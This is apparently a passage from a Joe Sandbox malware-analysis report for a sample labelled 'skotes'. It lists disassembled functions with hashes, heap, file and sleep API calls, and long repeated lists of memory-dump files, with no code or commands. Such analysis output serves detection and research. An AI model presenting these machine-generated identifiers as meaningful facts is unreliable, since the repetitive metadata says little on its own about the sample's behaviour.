Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: e450ec0e4934803f58046bc4900b546336eaa56126efe0e187f1e2996c5d9fa8
Instruction ID: a38852b53114ea20d8392c4e820f8e708d8f18466389adbcd26e582a0cca3b54
Opcode Fuzzy Hash: e450ec0e4934803f58046bc4900b546336eaa56126efe0e187f1e2996c5d9fa8
Instruction Fuzzy Hash: FD111571A0420AAFCB05DF58E945ADE7BF4EF48304F148069F809AB251D634EE21CB65

Function 007BD82F Relevance: 1.5, APIs: 1, Instructions: 40memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,007BA813,00000001,00000364,00000006,000000FF,?,0079D3FC,7D8541EC,?,00797A8B,?), ref: 007BD871

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: e11a9bda4e2deab87af9c9b15b47d604da0ab6aa81912e27dfa4b4209a736930
Instruction ID: 6c8a2c4b5e7bd3ca1a6b207cadca37090325e5e375dfa8dcd093f8c4582437b1
Opcode Fuzzy Hash: e11a9bda4e2deab87af9c9b15b47d604da0ab6aa81912e27dfa4b4209a736930
Instruction Fuzzy Hash: 11F02732601224A6EB312A769C09BDB3759DF857B2B188021FD08EB181FB3CEC0086E0

Function 007BB04B Relevance: 1.5, APIs: 1, Instructions: 33memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,7D8541EC,?,?,0079D3FC,7D8541EC,?,00797A8B,?,?,?,?,?,?,00787465,?), ref: 007BB07E

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 393860bdd85004e65e0fe6ff7ee03d20514f9b6a9aae2ff13b9e9cd5b5a3fb4b
Instruction ID: f239b692c4ec637ccf84abf6dc8afb3ab3102d24e8531aa16175bb5d7c577313
Opcode Fuzzy Hash: 393860bdd85004e65e0fe6ff7ee03d20514f9b6a9aae2ff13b9e9cd5b5a3fb4b
Instruction Fuzzy Hash: 3DE0923524122696EB31327A8C48BFFB64CDF463F0F150211EE7996190EBACDC00C2E1

Function 007C1775 Relevance: 1.5, APIs: 1, Instructions: 16fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,00000000,?,007C1B65,?,?,00000000,?,007C1B65,00000000,0000000C), ref: 007C1792

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 5876b0abee68a42a1b8e09a525369b0c188e1eeb0acf5b8e5ca3b0dd8bdf4ed8
Instruction ID: 58b6a84abae8443857e3d3d46d4dd6298ee4ba2c6dcb44085e13282245f77f21
Opcode Fuzzy Hash: 5876b0abee68a42a1b8e09a525369b0c188e1eeb0acf5b8e5ca3b0dd8bdf4ed8
Instruction Fuzzy Hash: 4FD0923214020DBBDF129E89DC46EDA3BAAFB4C754F014100FE1866060C772E831AB94

Function 00796C70 Relevance: 1.3, APIs: 1, Instructions: 40sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32 ref: 00796CF5

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 00d4593837c67b3caf56d5c840bbb1f92af2ec3b435c1255570b471a167f3dfd
Instruction ID: c9ba536f4a98a439cf964268f405b1dc2fab6aff6290158c7517b201fc8c8f12
Opcode Fuzzy Hash: 00d4593837c67b3caf56d5c840bbb1f92af2ec3b435c1255570b471a167f3dfd
Instruction Fuzzy Hash: B7F0F971A40644E7CB007B7D9C0BB1E7B78EB07760F804748E4116B2D2EB3C1A0147D6

Function 05160F1A Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3383406257.0000000005160000.00000040.00001000.00020000.00000000.sdmp, Offset: 05160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_5160000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c5b23c7e7448fb0dca4bc8d4dd56f9726ff20287e0144b8982a8a8b1ce582bf
Instruction ID: 09ad7718447ba0cd0d4e9cfbdd5a54030fceb72237bd9051212fc19763169e1c
Opcode Fuzzy Hash: 5c5b23c7e7448fb0dca4bc8d4dd56f9726ff20287e0144b8982a8a8b1ce582bf
Instruction Fuzzy Hash: 1611C2EB24C1316EB156C5517B68AF767BDE5CA330331C86BF443C2502D3995EAA9232

Function 05160E2D Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3383406257.0000000005160000.00000040.00001000.00020000.00000000.sdmp, Offset: 05160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_5160000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4c6b8bb480b4eb34806c4c52794a8977d54e01eebf106b3e33cd6de45cc2fec
Instruction ID: 915894f4209e41836254f64fb10f0bdc131c9eb7fd7ae63c9610b20719328049
Opcode Fuzzy Hash: a4c6b8bb480b4eb34806c4c52794a8977d54e01eebf106b3e33cd6de45cc2fec
Instruction Fuzzy Hash: 8301C8FB20D1217DB151D5456F28AFBA76DD5C9B30331C82BF406C2506E3954E996132

Function 05160E49 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3383406257.0000000005160000.00000040.00001000.00020000.00000000.sdmp, Offset: 05160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_5160000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3ca62f6f7740f506f22dc4faa34550a1a16a3b2e66f0f88b1b8f56788c60621
Instruction ID: f8d49905c4319166406a5274b18b6f33756c8f9d5e8b471c6c871a22899e5608
Opcode Fuzzy Hash: b3ca62f6f7740f506f22dc4faa34550a1a16a3b2e66f0f88b1b8f56788c60621
Instruction Fuzzy Hash: 430128FB20C1247D7111D5817B28AFB63ADD1C9B30331C82BF406C2506E3954E9D6132

Function 05160E52 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3383406257.0000000005160000.00000040.00001000.00020000.00000000.sdmp, Offset: 05160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_5160000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4522788adf58fd552fdfb444687d1a208f61aee3c9ad2441fd3fcd4ecff8c3c2
Instruction ID: ae1a34a9d605d35bba1d4d94c83c15161631db4fbf0978adb519cd0c8e959e9e
Opcode Fuzzy Hash: 4522788adf58fd552fdfb444687d1a208f61aee3c9ad2441fd3fcd4ecff8c3c2
Instruction Fuzzy Hash: C801A4FB64C1217EB111D5857B28AFBA7ADD5C9B30331C82BF806C6506E3958E9E6132

Function 05160E84 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3383406257.0000000005160000.00000040.00001000.00020000.00000000.sdmp, Offset: 05160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_5160000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96eb4a6860f243eac8a79136f00f0da565700e3930a0d50f8996d9c8212c8606
Instruction ID: b5df7c2d8531bc807a0511a5d08ab0ec5bedf560363f0e4380023b9e6050f4bc
Opcode Fuzzy Hash: 96eb4a6860f243eac8a79136f00f0da565700e3930a0d50f8996d9c8212c8606
Instruction Fuzzy Hash: E4F082F720C111BFA211D655BF24AF763ACD6C9B30730882AF44BC3141D3A54D899272

Function 05160EF4 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3383406257.0000000005160000.00000040.00001000.00020000.00000000.sdmp, Offset: 05160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_5160000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66347b201cebacd2dc9fa10a638f208ea25eebb755d1aa0dc59a445da365222d
Instruction ID: ed6e0198f8575a0cf1c5467d4048721984d8e2d587e4dc1a937b84dc0b3de762
Opcode Fuzzy Hash: 66347b201cebacd2dc9fa10a638f208ea25eebb755d1aa0dc59a445da365222d
Instruction Fuzzy Hash: 27E06DF764C1217EB211D5556B28AFBA3ADE5C9730330882BF453C6105E3A54D8E9131

Function 05160EA6 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000F.00000002.3383406257.0000000005160000.00000040.00001000.00020000.00000000.sdmp, Offset: 05160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_5160000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa66972b247e705a240a8e33651a702f88923ea05af1bddc14cb3bda9b083a69
Instruction ID: a6c59ed08ec85dc34d6bb7397a70af084dbb0de3b29f8f5b40ec1da9699dc3b4
Opcode Fuzzy Hash: aa66972b247e705a240a8e33651a702f88923ea05af1bddc14cb3bda9b083a69
